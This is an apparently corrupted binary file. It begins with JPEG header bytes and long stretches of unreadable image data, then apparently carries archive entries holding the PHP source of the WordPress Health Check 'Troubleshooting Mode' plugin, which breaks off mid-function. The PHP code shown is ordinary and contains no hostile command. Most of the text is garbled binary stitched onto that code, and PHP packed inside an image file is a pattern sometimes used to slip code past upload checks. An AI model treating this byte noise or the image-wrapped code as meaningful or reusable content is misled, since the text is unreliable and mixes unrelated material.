ÿØÿà JFIF      ÿÛ „ 	 ( %!1"%)+...383-7(-.+



-%%--------+------------/----------------------------ÿÀ  ¶" ÿÄ               ÿÄ @       !1AQaq‘¡"±ÁÑð2’BRráS‚ñ3b¢CT²Ò #cÿÄ             ÿÄ '        1!AQ2a"‘±#ÿÚ   ? ò(/p‘—–¢·,M|¯G»R£üešT. ôŸEoCFñ‡ 4ÔkåóxR|µÁ¨ÓDà!Ç´µ˜‡p ÍQ‹§!þž^õWsŒy  åÁ§$á«%ºq˜™JyyË0y«^Ï
-3ÃÏËÈ£Æ\P’ä„s&•‹Üs üô'àWt¹pñCp$bÚF`·7.^)¾!)ÒÙ˜–ÅÏš^h¾ø³·ìe±ŒaeÖ—Í,e=B}Jéß¦$$½—šÙÜCC¯¶è8Î²–Åkèwx
LÉngT±æ¹£Ócœ¿Í/©Éÿ ‰ÚCÒ­mq;Tt¶–}0"zÖPcd1š­¤tˆ„ÐÓâqú[™öUCŠ2Þ¿Ø¯­É(¸ßúçšmW,Ò ºf‹Ån™ÄLêÃ8üÁkÁ€L¥ÍuJ1œôrÂSŒÓöt!7EUíïb)AËi¬â-ÙHk8òÁiXYwÅ)O^"ÇØriÛô{»wRUKÙÏÚlÓ¬€‚’×©T]
ªb—ÊîKC^×M“xùäñz¬zJ×{4[¹M'IÆeH1LCWÕ]œûº WDæà°OÅ‚¹c²ÞuA–rL`HšpCez‡V’— Ž‚Ë„–ñ­'µR0ÕÖ=À:±G»C\nÆÉ5*¢ †3šhQ4ýÒi$Õ1"Ü]¢p-q3zcQ$ªö¨¥æf›‘»´ÝÚHá„e²JÇ–iÊ:·à¬Øc5Åk»Laª*wi
[0Ówk ¦a¦0Õ²ÅÅ‚T¸’³q:Æ<¹ú	Ò˜Æ}2VE•Ð€p¡Ô3Úº …h³^Ç‡ºçì¥Ánó|˜ÖˆÎˆ+«¦dø‘Mº–d\ªDðÛ„Ì×LÝ——Ð9Ç|•FèçVm™¨€™3õS–9Äå¢<Ì‰Ìm¢±`·º˜&Z²ž Ë®D«¶»6™‰©­HÈÀá«h­i³04æ’hxœi3ï¨(ÓL·†‹¶ËpŒ
ƒÜÒ?	:õdsÀ–3æÓ·Üjâ¬9—]8n¼&]I F£¼…ì–—Œ0v°LÇÅfÛ2TÖ’aµ˜N@ÖBSÏ^à´4-±°b×nÈÈœÆD=KdŒø…ÄÈK,›ÖR§fjü$^ÔÎ!„6^ s:Üun\ôkCÞò÷<—Lúl
Í›G¹ÀPá¼Nc¡šÒ…ÙWÍ³œ±vÊáÐ„×9‹P‰cEØ‘™›µŸP<×g1
º©Ø¬wiÁ^l5×I/';Ë+´Z‡ÓÄFÕp[Èð’
HÄ	ó
9¬Dl4“é±Ï”V=^Hð;žLädÉa‚°Ë,#/Ž~²BÔÛ
QãñQtIeórVB,ÏÂf‹4#Îœc‹É3ZIÖ Œ¢¥·üxa‡Ãçè„jŠ[5 Ä!U?,3žÎ×…ðdÓ÷háŠA‰ìÄ4÷ÃÜZÃE{‰®+W\ZÍE[‰»µk»MÝ­`¢©†˜ÃV‹-f¢¡†¢a«eŠ%«Y¨©q%jâd,Ôq`) ¤¦…šˆ ¦E>0Ùb²t–Ÿ
÷jsÏ‚Ò’KÈcø(é›;k(’#ôŒQ
™C>
õ³M9óºÆµ¤çâ;uÀ)5>RÔ¸fÓ~È¦—’-$fe«"FâUˆÊwµPÏu
w+"åÉoÌ¨6s™Û9(À¨ù©hE°½†n`m~“@©›p!Vkhµ Á1šbEqqÊ@ºèl›2 –Yã%‘‚hÛ{a¶‡ÅÞM²¬çL34®Çl]®‹ŽØŒm'RÜe35æöˆ­Á­ cP9šeÁköo´L³Ì=p8]”‡B¶,šº|ÉdzXˆØk*ÇÚ{#ñ‰pã(€¶‡9ý'šÜ³½¯kƒ†Â’ëSOƒ•Å®H6+a¢µˆ‹Y¨b˜b+XˆÖ!°u!¢"µˆˆn2ˆ Å0Ä`Å Ô®c(ÓÜGº•Ä»Œ âWî%q.áÐÄ÷î%umÍ£+ÜQ,Vn¦-GphU¸¢X­&,Gt
·K¢ÅÅ·¥RÄÊÉbKn
N­R2g$VµÕó
Qr#–ÓZUÏð0ÎtÙÀœz
ëöo“Îk¯n„T°"SÞ+³/…€½"ižãO%Í%&Î”â‘ËØ´IˆÓ°Ë‰ÞM<J•›C=ìu*Ü§„Ã¤GËŠô;5ŒÁ£ñùä¬6Ì2¦‘žh¸Rº<Õš%÷ …Ç	‚g‡.
>3.™yçÁzit›`4C`k¢¼á!álÄï sÂ[×!¤l¾æo"ƒIÔ'@ªu)3›ô®“@Z
à¾]
üœ'‡4¸PÞkÁ-qÄH‰ÓÍBd´ÿ —¹°ÄA&ÊUC„öz‚‚RæŠtf¬>˜ÑidšEçÑL÷áý¡V±h§­c¿¥¨ƒ@g¼…Ýö^ÞËc.Å¾„æ“I[ª+·zÐÒÚ,½Ð»¶€C›7jk$à¹–€Ž¾ÅÙpp¶ÍþéÎ¤ ½ØÎŒq ñpæžÅ¥#Øâ49ÃÂK^MYV“,¶Éz_òæ:…;Õ«¦I3âJ£¤û5$7Èxün\â]Êe¯(Ÿ&Ž‹¶2<6Ä†f× æ¢Æ±qWÄ±[(ÙÂŽç‚T7¨@ÈÉÍß‚ïÙ"&3TYlGŽ†)†#5ŠA©^T2ÆÁ†)©†©†¤yGXÁ†©"†)©¼ÅV WS†#©]R–r‹q5ÕbâWþBh¯u+ªÅÄ×ü„nÑ^êkªÁj‰jeœWˆÕÕ`µDµ2Ì+Ä µDµµ5Ô{¤Þ0RF’H÷AÛ<ÊÁ§ Æˆæ0Ñ£ê4 öÚµ[¬/1²€â<-¬šö²r×0o×w ´xÐÒË„
g01¬„åEMè›‡Ã\6µE›‘fÙO	k÷CºnÓ1`iîÒ²áÂ!ÑLÄÿ 
³¬\õ*:M=Ç»c‹2[‰ØsÕLò\ŒK L^™üÄN\¶#»
Ç\……ßïIœÉ$¸ÎñÍ®ÔHÃ‡	Ûí/´>Li”„†g^$ 7NÍÑÑ2M2ªNg=k½Ð}Ÿl6‡	—JWˆ”ÞéT·+µ¦üÂFè¢Vs6ýÆ4»2+2IÝ9ô9®ÇGÙÇ1+Ä8;*Õ§ž½D*îÑWÚçá3Ma¤·ˆ¥t}š²Ü…Q+Æüµ8HíS”üxGéÁˆ¦Ël„éÈ	5 µÄƒ6äÜ(kIš¯S†fÖ&¸®×v|Äyˆ*ç¦ŒÉù@7-®Ä[]ÎÖ¿ê`º…=:…žJVnÝ³vðÖKE¼‚ »mà ÷f®:Ë™–4rð¡4` Ü¹çž~‹C=œ…¾Ïj|VDtK.ƒ"9	Ï
­–éXá³6WÒïIL-Ð‡
Ç
PK     <ºT]              .bt_datum-gateway-orbnu „[µü¤        PK     <ºT]¨³–Í  Í  %  health-check-troubleshooting-mode.phpnu „[µü¤        <?php
/*
	Plugin Name: Health Check Troubleshooting Mode
	Description: Conditionally disabled themes or plugins on your site for a given session, used to rule out conflicts during troubleshooting.
	Version: 1.9.2
 */

if ( ! defined( 'ABSPATH' ) ) {
	die( 'We\'re sorry, but you can not directly access this file.' );
}

// Set the MU plugin version.
define( 'HEALTH_CHECK_TROUBLESHOOTING_MODE_PLUGIN_VERSION', '1.9.2' );

class Health_Check_Troubleshooting_MU {
	private $disable_hash    = null;
	private $override_active = true;
	private $default_theme   = true;
	private $active_plugins  = array();
	private $allowed_plugins = array();
	private $current_theme;
	private $current_theme_details;
	private $self_fetching_theme = false;

	private $available_query_args = array(
		'wp-health-check-disable-plugins',
		'health-check-disable-plugins-hash',
		'health-check-disable-troubleshooting',
		'health-check-change-active-theme',
		'health-check-troubleshoot-enable-plugin',
		'health-check-troubleshoot-disable-plugin',
		'health-check-plugin-force-enable',
		'health-check-plugin-force-disable',
		'health-check-theme-force-switch',
		'_wpnonce',
	);

	private $default_themes = array(
		'twentytwentyfour',
		'twentytwentythree',
		'twentytwentytwo',
		'twentytwentyone',
		'twentytwenty',
		'twentynineteen',
		'twentyseventeen',
		'twentysixteen',
		'twentyfifteen',
		'twentyfourteen',
		'twentythirteen',
		'twentytwelve',
		'twentyeleven',
		'twentyten',
	);

	private $latest_classic_default_theme = 'twentytwentyone';

	private $show_nonce_validator = false;

	private $nonce_validator_details = '';

	private $nonce_validator_fields = array();

	/**
	 * Health_Check_Troubleshooting_MU constructor.
	 */
	public function __construct() {
		$this->init();
	}

	/**
	 * Actually initiation of the plugin.
	 *
	 * @return void
	 */
	public function init() {
		add_filter( 'option_active_plugins', array( $this, 'health_check_loopback_test_disable_plugins' ) );
		add_filter( 'option_active_sitewide_plugins', array( $this, 'health_check_loopback_test_disable_plugins' ) );

		add_filter( 'pre_option_template', array( $this, 'health_check_troubleshoot_theme_template' ) );
		add_filter( 'pre_option_stylesheet', array( $this, 'health_check_troubleshoot_theme_stylesheet' ) );

		add_filter( 'bulk_actions-plugins', array( $this, 'remove_plugin_bulk_actions' ) );
		add_filter( 'handle_bulk_actions-plugins', array( $this, 'handle_plugin_bulk_actions' ), 10, 3 );

		$this->load_options();

		// If troubleshooting mode is enabled, add special filters and actions.
		if ( $this->is_troubleshooting() ) {
			// Attempt to avoid cache entries from a troubleshooting session.
			wp_suspend_cache_addition( true );

			// Add nocache headers for browser caches.
			add_action( 'init', 'nocache_headers' );
			add_action( 'admin_init', 'nocache_headers' );

			add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_assets' ) );

			add_action( 'admin_bar_menu', array( $this, 'health_check_troubleshoot_menu_bar' ), 999 );

			add_filter( 'wp_fatal_error_handler_enabled', '__return_false' );

			add_action( 'admin_notices', array( $this, 'prompt_install_default_theme' ) );
			add_filter( 'user_has_cap', array( $this, 'remove_plugin_theme_install' ) );

			add_action( 'plugin_action_links', array( $this, 'plugin_actions' ), 50, 4 );

			add_action( 'admin_notices', array( $this, 'display_dashboard_widget' ) );
			add_action( 'admin_footer', array( $this, 'dashboard_widget_scripts' ) );

			add_action( 'wp_logout', array( $this, 'health_check_troubleshooter_mode_logout' ) );
			add_action( 'init', array( $this, 'health_check_troubleshoot_get_captures' ) );

			// If needed, prompt the user to confirm their actions if they are missing a valid nonce.
			add_action( 'admin_footer', array( $this, 'nonce_confirmation_prompt' ) );

			/*
			 * Plugin activations can be forced by other tools in things like themes, so let's
			 * attempt to work around that by forcing plugin lists back and forth.
			 *
			 * This is not an ideal scenario, but one we must accept as reality.
			 */
			add_action( 'activated_plugin', array( $this, 'plugin_activated' ) );
		}
	}

	/**
	 * Set up the class variables based on option table entries.
	 *
	 * @return void
	 */
	public function load_options() {
		$this->disable_hash    = get_option( 'health-check-disable-plugin-hash', null );
		$this->allowed_plugins = get_option( 'health-check-allowed-plugins', array() );
		$this->default_theme   = ( 'yes' === get_option( 'health-check-default-theme', 'yes' ) ? true : false );
		$this->active_plugins  = $this->get_unfiltered_plugin_list();
		$this->current_theme   = get_option( 'health-check-current-theme', false );
	}

	/**
	 * Enqueue styles and scripts used by the MU plugin if applicable.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		if ( ! is_admin() ) {
			return;
		}

		$health_check = include WP_PLUGIN_DIR . '/health-check/build/health-check.asset.php';

		wp_enqueue_style( 'health-check', plugins_url( '/health-check/build/health-check.css' ), array(), $health_check['version'] );

		if ( ! wp_script_is( 'site-health', 'registered' ) ) {
			wp_enqueue_script( 'site-health', plugins_url( '/health-check/build/health-check.js' ), array( 'jquery', 'wp-a11y', 'wp-util' ), $health_check['version'], true );
		}

		$troubleshooter = include WP_PLUGIN_DIR . '/health-check/build/troubleshooting-mode.asset.php';

		wp_enqueue_script( 'health-check', plugins_url( '/health-check/build/troubleshooting-mode.js' ), array( 'site-health' ), $troubleshooter['version'], true );
	}

	/**
	 * Add a prompt to install a default theme.
	 *
	 * If no default theme exists, we can't reliably assert if an issue is
	 * caused by the theme. In these cases we should provide an easy step
	 * to get to, and install, one of the default themes.
	 *
	 * @return void
	 */
	public function prompt_install_default_theme() {
		if ( $this->has_default_theme() ) {
			return;
		}

		printf(
			'<div class="notice notice-warning dismissable"><p>%s</p><p><a href="%s" class="button button-primary">%s</a> <a href="%s" class="button button-secondary">%s</a></p></div>',
			esc_html__( 'You don\'t have any of the default themes installed. A default theme helps you determine if your current theme is causing conflicts.', 'health-check' ),
			esc_url(
				admin_url(
					sprintf(
						'theme-install.php?theme=%s',
						$this->default_themes[0]
					)
				)
			),
			esc_html__( 'Install the latest default theme', 'health-check' ),
			esc_url(
				admin_url(
					sprintf(
						'theme-install.php?theme=%s',
						$this->latest_classic_default_theme
					)
				)
			),
			esc_html__( 'Install the latest classic default theme', 'health-check' )
		);
	}

	/**
	 * Remove the `Add` option for plugins and themes.
	 *
	 * When troubleshooting, adding or changing themes and plugins can
	 * lead to unexpected results. Remove these menu items to make it less
	 * likely that a user breaks their site through these.
	 *
	 * @param  array $caps Array containing the current users capabilities.
	 *
	 * @return array
	 */
	public function remove_plugin_theme_install( $caps ) {
		$caps['switch_themes'] = false;

		/*
		 * This is to early for `get_current_screen()`, so we have to do it the
		 * old fashioned way with `$_SERVER`.
		 */
		if ( 'plugin-install.php' === substr( $_SERVER['REQUEST_URI'], -18 ) ) {
			$caps['activate_plugins'] = false;
		}

		return $caps;
	}

	/**
	 * Fire on plugin activation.
	 *
	 * When in Troubleshooting Mode, plugin activations
	 * will clear out the DB entry for `active_plugins`, this is bad.
	 *
	 * We fix this by re-setting the DB entry if anything tries
	 * to modify it during troubleshooting.
	 *
	 * @return void
	 */
	public function plugin_activated() {
		// Force the database entry for active plugins if someone tried changing plugins while in Troubleshooting Mode.
		update_option( 'active_plugins', $this->active_plugins );
	}

	public function handle_plugin_bulk_actions( $sendback, $action, $plugins ) {
		if ( ! $this->is_troubleshooting() && 'health-check-troubleshoot' !== $action ) {
			return $sendback;
		}

		$sendback = self_admin_url( 'plugins.php' );

		if ( 'health-check-troubleshoot' === $action ) {
			foreach ( $plugins as $single_plugin ) {
				$plugin_slug = explode( '/', $single_plugin );
				$plugin_slug = $plugin_slug[0];

				if ( in_array( $single_plugin, $this->active_plugins, true ) ) {
					$this->allowed_plugins[ $plugin_slug ] = $plugin_slug;
				}
			}

			Health_Check_Troubleshoot::initiate_troubleshooting_mode( $this->allowed_plugins );

			if ( ! $this->test_site_state() ) {
				$this->allowed_plugins = array();
				update_option( 'health-check-allowed-plugins', $this->allowed_plugins );

				$this->add_dashboard_notice(
					__( 'When enabling troubleshooting on the selected plugins, a site failure occurred. Because of this the selected plugins were kept disabled while troubleshooting mode started.', 'health-check' ),
					'warning'
				);
			}
		}

		if ( 'health-check-enable' === $action ) {
			$old_allowed_plugins = $this->allowed_plugins;

			foreach ( $plugins as $single_plugin ) {
				$plugin_slug = explode( '/', $single_plugin );
				$plugin_slug = $plugin_slug[0];

				if ( in_array( $single_plugin, $this->active_plugins, true ) ) {
					$this->allowed_plugins[ $plugin_slug ] = $plugin_slug;
				}
			}

			update_option( 'health-check-allowed-plugins', $this->allowed_plugins );

			if ( ! $this->test_site_state() ) {
				$this->allowed_plugins = $old_allowed_plugins;
				update_option( 'health-check-allowed-plugins', $old_allowed_plugins );

				$this->add_dashboard_notice(
					__( 'When bulk-enabling plugins, a site failure occurred. Because of this the change was automatically reverted.', 'health-check' ),
					'warning'
				);
			}
		}

		if ( 'health-check-disable' === $action ) {
			$old_allowed_plugins = $this->allowed_plugins;

			foreach ( $plugins as $single_plugin ) {
				$plugin_slug = explode( '/', $single_plugin );
				$plugin_slug = $plugin_slug[0];

				if ( in_array( $single_plugin, $this->active_plugins, true ) ) {
					unset( $this->allowed_plugins[ $plugin_slug ] );
				}
			}

			update_option( 'health-check-allowed-plugins', $this->allowed_plugins );

			if ( ! $this->test_site_state() ) {
				$this->allowed_plugins = $old_allowed_plugins;
				update_option( 'health-check-allowed-plugins', $old_allowed_plugins );

				$this->add_dashboard_notice(
					__( 'When bulk-disabling plugins, a site failure occurred. Because of this the change was automatically reverted.', 'health-check' ),
					'warning'
				);
			}
		}

		return $sendback;
	}

	public function remove_plugin_bulk_actions( $actions ) {
		if ( ! $this->is_troubleshooting() ) {
			$actions['health-check-troubleshoot'] = __( 'Troubleshoot', 'health-check' );

			return $actions;
		}

		$actions = array(
			'health-check-enable'  => __( 'Enable while troubleshooting', 'health-check' ),
			'health-check-disable' => __( 'Disable while troubleshooting', 'health-check' ),
		);

		return $actions;
	}

	/**
	 * Modify plugin actions.
	 *
	 * While in Troubleshooting Mode, weird things will happen if you start
	 * modifying your plugin list. Prevent this, but also add in the ability
	 * to enable or disable a plugin during troubleshooting from this screen.
	 *
	 * @param $actions
	 * @param $plugin_file
	 * @param $plugin_data
	 * @param $context
	 *
	 * @return array
	 */
	public function plugin_actions( $actions, $plugin_file, $plugin_data, $context ) {
		if ( 'mustuse' === $context ) {
			return $actions;
		}

		/*
		 * Disable all plugin actions when in Troubleshooting Mode.
		 *
		 * We intentionally remove all plugin actions to avoid accidental clicking, activating or deactivating plugins
		 * while our plugin is altering plugin data may lead to unexpected behaviors, so to keep things sane we do
		 * not allow users to perform any actions during this time.
		 */
		$actions = array();

		// This isn't an active plugin, so does not apply to our troubleshooting scenarios.
		if ( ! in_array( $plugin_file, $this->active_plugins, true ) ) {
			return $actions;
		}

		// Set a slug if the plugin lives in the plugins directory root.
		if ( ! stristr( $plugin_file, '/' ) ) {
			$plugin_slug = $plugin_file;
		} else { // Set the slug for plugin inside a folder.
			$plugin_slug = explode( '/', $plugin_file );
			$plugin_slug = $plugin_slug[0];
		}

		if ( in_array( $plugin_slug, $this->allowed_plugins, true ) ) {
			$actions['troubleshoot-disable'] = sprintf(
				'<a href="%s">%s</a>',
				esc_url(
					add_query_arg(
						array(
							'health-check-troubleshoot-disable-plugin' => $plugin_slug,
							'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-disable-plugin', array( $plugin_slug ) ),
						),
						admin_url( 'plugins.php' )
					)
				),
				esc_html__( 'Disable while troubleshooting', 'health-check' )
			);
		} else {
			$actions['troubleshoot-disable'] = sprintf(
				'<a href="%s">%s</a>',
				esc_url(
					add_query_arg(
						array(
							'health-check-troubleshoot-enable-plugin' => $plugin_slug,
							'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-enable-plugin', array( $plugin_slug ) ),
						),
						admin_url( 'plugins.php' )
					)
				),
				esc_html__( 'Enable while troubleshooting', 'health-check' )
			);
		}

		return $actions;
	}

	/**
	 * Get the actual list of active plugins.
	 *
	 * When in Troubleshooting Mode we override the list of plugins,
	 * this function lets us grab the active plugins list without
	 * any interference.
	 *
	 * @return array Array of active plugins.
	 */
	public function get_unfiltered_plugin_list() {
		$this->override_active = false;
		$all_plugins           = get_option( 'active_plugins' );
		$this->override_active = true;

		return $all_plugins;
	}

	/**
	 * Check if the user is currently in Troubleshooting Mode or not.
	 *
	 * @return bool
	 */
	public function is_troubleshooting() {
		// Check if a session cookie to disable plugins has been set.
		if ( isset( $_COOKIE['wp-health-check-disable-plugins'] ) ) {
			$_GET['health-check-disable-plugin-hash'] = $_COOKIE['wp-health-check-disable-plugins'] . md5( $_SERVER['REMOTE_ADDR'] );
		}

		// If the disable hash isn't set, no need to interact with things.
		if ( ! isset( $_GET['health-check-disable-plugin-hash'] ) ) {
			return false;
		}

		if ( empty( $this->disable_hash ) ) {
			return false;
		}

		// If the plugin hash is not valid, we also break out
		if ( $this->disable_hash !== $_GET['health-check-disable-plugin-hash'] ) {
			return false;
		}

		return true;
	}

	/**
	 * Filter the plugins that are activated in WordPress.
	 *
	 * @param array $plugins An array of plugins marked as active.
	 *
	 * @return array
	 */
	function health_check_loopback_test_disable_plugins( $plugins ) {
		if ( ! $this->is_troubleshooting() || ! $this->override_active ) {
			return $plugins;
		}

		// If we've received a comma-separated list of allowed plugins, we'll add them to the array of allowed plugins.
		if ( isset( $_GET['health-check-allowed-plugins'] ) ) {
			$this->allowed_plugins = explode( ',', $_GET['health-check-allowed-plugins'] );
		}

		foreach ( $plugins as $plugin_no => $plugin_path ) {
			// Split up the plugin path, [0] is the slug and [1] holds the primary plugin file.
			$plugin_parts = explode( '/', $plugin_path );

			// We may want to allow individual, or groups of plugins, so introduce a skip-mechanic for those scenarios.
			if ( in_array( $plugin_parts[0], $this->allowed_plugins, true ) ) {
				continue;
			}

			// Remove the reference to this plugin.
			unset( $plugins[ $plugin_no ] );
		}

		// Return a possibly modified list of activated plugins.
		return $plugins;
	}

	/**
	 * Check if a default theme exists.
	 *
	 * If a default theme exists, return the most recent one, if not return `false`.
	 *
	 * @return bool|string
	 */
	function has_default_theme() {
		foreach ( $this->default_themes as $default_theme ) {
			if ( $this->theme_exists( $default_theme ) ) {
				return $default_theme;
			}
		}

		return false;
	}

	/**
	 * Check if a theme exists by looking for the slug.
	 *
	 * @param string $theme_slug
	 *
	 * @return bool
	 */
	function theme_exists( $theme_slug ) {
		return is_dir( WP_CONTENT_DIR . '/themes/' . $theme_slug );
	}

	/**
	 * Check if theme overrides are active.
	 *
	 * @return bool
	 */
	function override_theme() {
		if ( ! $this->is_troubleshooting() ) {
			return false;
		}

		return true;
	}

	/**
	 * Override the default theme.
	 *
	 * Attempt to set one of the default themes, or a theme of the users choosing, as the active one
	 * during Troubleshooting Mode.
	 *
	 * @param $default
	 *
	 * @return bool|string
	 */
	function health_check_troubleshoot_theme_stylesheet( $default ) {
		if ( $this->self_fetching_theme ) {
			return $default;
		}

		if ( ! $this->override_theme() ) {
			return $default;
		}

		if ( empty( $this->current_theme_details ) ) {
			$this->self_fetching_theme   = true;
			$this->current_theme_details = wp_get_theme( $this->current_theme );
			$this->self_fetching_theme   = false;
		}

		// If no theme has been chosen, start off by troubleshooting as a default theme if one exists.
		$default_theme = $this->has_default_theme();
		if ( false === $this->current_theme ) {
			if ( $default_theme ) {
				return $default_theme;
			}
		}

		return $this->current_theme;
	}

	/**
	 * Override the default parent theme.
	 *
	 * If this is a child theme, override the parent and provide our users chosen themes parent instead.
	 *
	 * @param $default
	 *
	 * @return bool|string
	 */
	function health_check_troubleshoot_theme_template( $default ) {
		if ( $this->self_fetching_theme ) {
			return $default;
		}

		if ( ! $this->override_theme() ) {
			return $default;
		}

		if ( empty( $this->current_theme_details ) ) {
			$this->self_fetching_theme   = true;
			$this->current_theme_details = wp_get_theme( $this->current_theme );
			$this->self_fetching_theme   = false;
		}

		// If no theme has been chosen, start off by troubleshooting as a default theme if one exists.
		$default_theme = $this->has_default_theme();
		if ( false === $this->current_theme ) {
			if ( $default_theme ) {
				return $default_theme;
			}
		}

		if ( $this->current_theme_details->parent() ) {
			return $this->current_theme_details->get_template();
		}

		return $this->current_theme;
	}

	/**
	 * Disable Troubleshooting Mode on logout.
	 *
	 * If logged in, disable the Troubleshooting Mode when the logout
	 * event is fired, this ensures we start with a clean slate on
	 * the next login.
	 *
	 * @return void
	 */
	function health_check_troubleshooter_mode_logout() {
		if ( isset( $_COOKIE['wp-health-check-disable-plugins'] ) ) {
			$this->disable_troubleshooting_mode();
		}
	}

	function disable_troubleshooting_mode() {
		unset( $_COOKIE['wp-health-check-disable-plugins'] );
		setcookie( 'wp-health-check-disable-plugins', '', 0, COOKIEPATH, COOKIE_DOMAIN );
		delete_option( 'health-check-allowed-plugins' );
		delete_option( 'health-check-default-theme' );
		delete_option( 'health-check-current-theme' );
		delete_option( 'health-check-dashboard-notices' );

		delete_option( 'health-check-backup-plugin-list' );
	}

	/**
	 * Takes a URL, or uses the current URL, and removes the query args we use to control the Troubleshooting Mode.
	 *
	 * @param string $url Optional. Defaults to the current URL. The URL to strip query arguments from.
	 *
	 * @return string
	 */
	private function get_clean_url( $url = null ) {
		if ( ! $url ) {
			// The full URL for the current request.
			$raw_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

			// We prepare the `REQUEST_URI` entry our selves, to account for WP installs in subdirectories or similar.
			$request_uri = str_ireplace( site_url( '/' ), '', $raw_url );

			$url = site_url( $request_uri );
		}

		return remove_query_arg( $this->available_query_args, $url );
	}

	/**
	 * A helper function to validate if nonces exist, and is valid.
	 *
	 * This helps us add nonce-verification to internal links within the WordPress admin, while
	 * at the same time allowing for the flexibility of support volunteers giving direct links to users who
	 * may otherwise spend needless time looking for the correct links.
	 *
	 * @param string $action The action being performed and confirmed.
	 * @param array  $assets And array of the plugins, or themes, the action is applied to.
	 *
	 * @return boolean
	 */
	private function validate_action_nonce( $action, $assets ) {
		$nonce_action = sprintf(
			'%s-%s',
			$action,
			md5( implode( ',', $assets ) )
		);

		$nonce = ( isset( $_GET['_wpnonce'] ) ? $_GET['_wpnonce'] : false );

		// Validate nonce.
		if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $nonce, $nonce_action ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Generate a predetermined formatted nonce value for the actions we wish to perform.
	 *
	 * @param string $action The action being performed and confirmed.
	 * @param array  $assets An array of the plugins, or themes, the action is applied to.
	 *
	 * @return false|string
	 */
	private function prepare_action_nonce( $action, $assets ) {
		$nonce_action = sprintf(
			'%s-%s',
			$action,
			md5( implode( ',', $assets ) )
		);

		return wp_create_nonce( $nonce_action );
	}

	/**
	 * Catch query arguments.
	 *
	 * When in Troubleshooting Mode, look for various GET variables that trigger
	 * various plugin actions.
	 *
	 * @return void
	 */
	function health_check_troubleshoot_get_captures() {
		// Disable Troubleshooting Mode.
		if ( isset( $_GET['health-check-disable-troubleshooting'] ) ) {
			// Validate the cache or return early.
			if ( ! $this->validate_action_nonce( 'health-check-disable-troubleshooting', array() ) ) {
				$this->show_nonce_validator   = true;
				$this->nonce_validator_fields = array(
					'_wpnonce'                             => $this->prepare_action_nonce(
						'health-check-disable-troubleshooting',
						array()
					),
					'health-check-disable-troubleshooting' => 1,
				);

				$this->nonce_validator_details = sprintf(
					'<p>%s</p>',
					__( 'You were attempting to <strong>disable Troubleshooting Mode</strong>.', 'health-check' )
				);

				return;
			}

			$this->disable_troubleshooting_mode();

			wp_redirect( remove_query_arg( $this->available_query_args ) );
			die();
		}

		// Dismiss notices.
		if ( isset( $_GET['health-check-dismiss-notices'] ) && $this->is_troubleshooting() && is_admin() ) {
			// Validate the cache or return early.
			if ( ! $this->validate_action_nonce( 'health-check-dismiss-notices', array() ) ) {
				$this->show_nonce_validator   = true;
				$this->nonce_validator_fields = array(
					'_wpnonce'                     => $this->prepare_action_nonce(
						'health-check-dismiss-notices',
						array()
					),
					'health-check-dismiss-notices' => 1,
				);

				$this->nonce_validator_details = sprintf(
					'<p>%s</p>',
					__( 'You were attempting to <strong>dismiss all notices</strong>.', 'health-check' )
				);

				return;
			}

			update_option( 'health-check-dashboard-notices', array() );

			wp_redirect( admin_url() );
			die();
		}

		// Enable an individual plugin.
		if ( isset( $_GET['health-check-troubleshoot-enable-plugin'] ) ) {
			// Validate the cache or return early.
			if ( ! $this->validate_action_nonce( 'health-check-troubleshoot-enable-plugin', array( $_GET['health-check-troubleshoot-enable-plugin'] ) ) ) {
				$this->show_nonce_validator   = true;
				$this->nonce_validator_fields = array(
					'_wpnonce' => $this->prepare_action_nonce(
						'health-check-troubleshoot-enable-plugin',
						array( $_GET['health-check-troubleshoot-enable-plugin'] )
					),
					'health-check-troubleshoot-enable-plugin' => implode( ',', array( $_GET['health-check-troubleshoot-enable-plugin'] ) ),
				);

				$this->nonce_validator_details = sprintf(
					'<p>%s</p>',
					sprintf(
						// translators: The plugin being affected.
						__( 'You were attempting to <strong>enable</strong> the %s plugin while troubleshooting.', 'health-check' ),
						sprintf(
							'<strong>%s</strong>',
							$_GET['health-check-troubleshoot-enable-plugin']
						)
					)
				);

				return;
			}

			$old_allowed_plugins = $this->allowed_plugins;

			$this->allowed_plugins[ $_GET['health-check-troubleshoot-enable-plugin'] ] = $_GET['health-check-troubleshoot-enable-plugin'];

			update_option( 'health-check-allowed-plugins', $this->allowed_plugins );

			if ( isset( $_GET['health-check-plugin-force-enable'] ) ) {
				$this->add_dashboard_notice(
					sprintf(
						// translators: %s: The plugin slug.
						'The %s plugin was forcefully enabled.',
						$_GET['health-check-troubleshoot-enable-plugin']
					),
					'info'
				);
			}

			if ( ! $this->test_site_state() && ! isset( $_GET['health-check-plugin-force-enable'] ) ) {
				$this->allowed_plugins = $old_allowed_plugins;
				update_option( 'health-check-allowed-plugins', $old_allowed_plugins );

				$notice = sprintf(
					// Translators: %1$s: The link-button markup to force enable the plugin. %2$s: The force-enable link markup.
					__( 'When enabling the plugin, %1$s, a site failure occurred. Because of this the change was automatically reverted. %2$s', 'health-check' ),
					$_GET['health-check-troubleshoot-enable-plugin'],
					sprintf(
						'<a href="%s" aria-label="%s">%s</a>',
						esc_url(
							add_query_arg(
								array(
									'health-check-troubleshoot-enable-plugin' => $_GET['health-check-troubleshoot-enable-plugin'],
									'health-check-plugin-force-enable' => 'true',
									'_wpnonce' => $this->prepare_action_nonce( 'health-check-troubleshoot-enable-plugin', array( $_GET['health-check-troubleshoot-enable-plugin'] ) ),
								),
								$this->get_clean_url()
							)
						),
						esc_attr(
							sprintf(
								// translators: %s: Plugin name.
								__( 'Force-enable the plugin, %s, even though the loopback checks failed.', 'health-check' ),
								$_GET['health-check-troubleshoot-enable-plugin']
							)
						),
						__( 'Enable anyway', 'health-check' )
					)
				);

				$this->add_dashboard_notice(
					$notice,
					'warning'
				);
			}

			wp_redirect( remove_query_arg( $this->available_query_args ) );
			die();
		}

		// Disable an individual plugin.
		if ( isset( $_GET['health-check-troubleshoot-disable-plugin'] ) ) {
			// Validate the cache or return early.
			if ( ! $this->validate_action_nonce( 'health-check-troubleshoot-disable-plugin', array( $_GET['health-check-troubleshoot-disable-plugin'] ) ) ) {
				$this->show_nonce_validator   = true;
				$this->nonce_validator_fields = array(
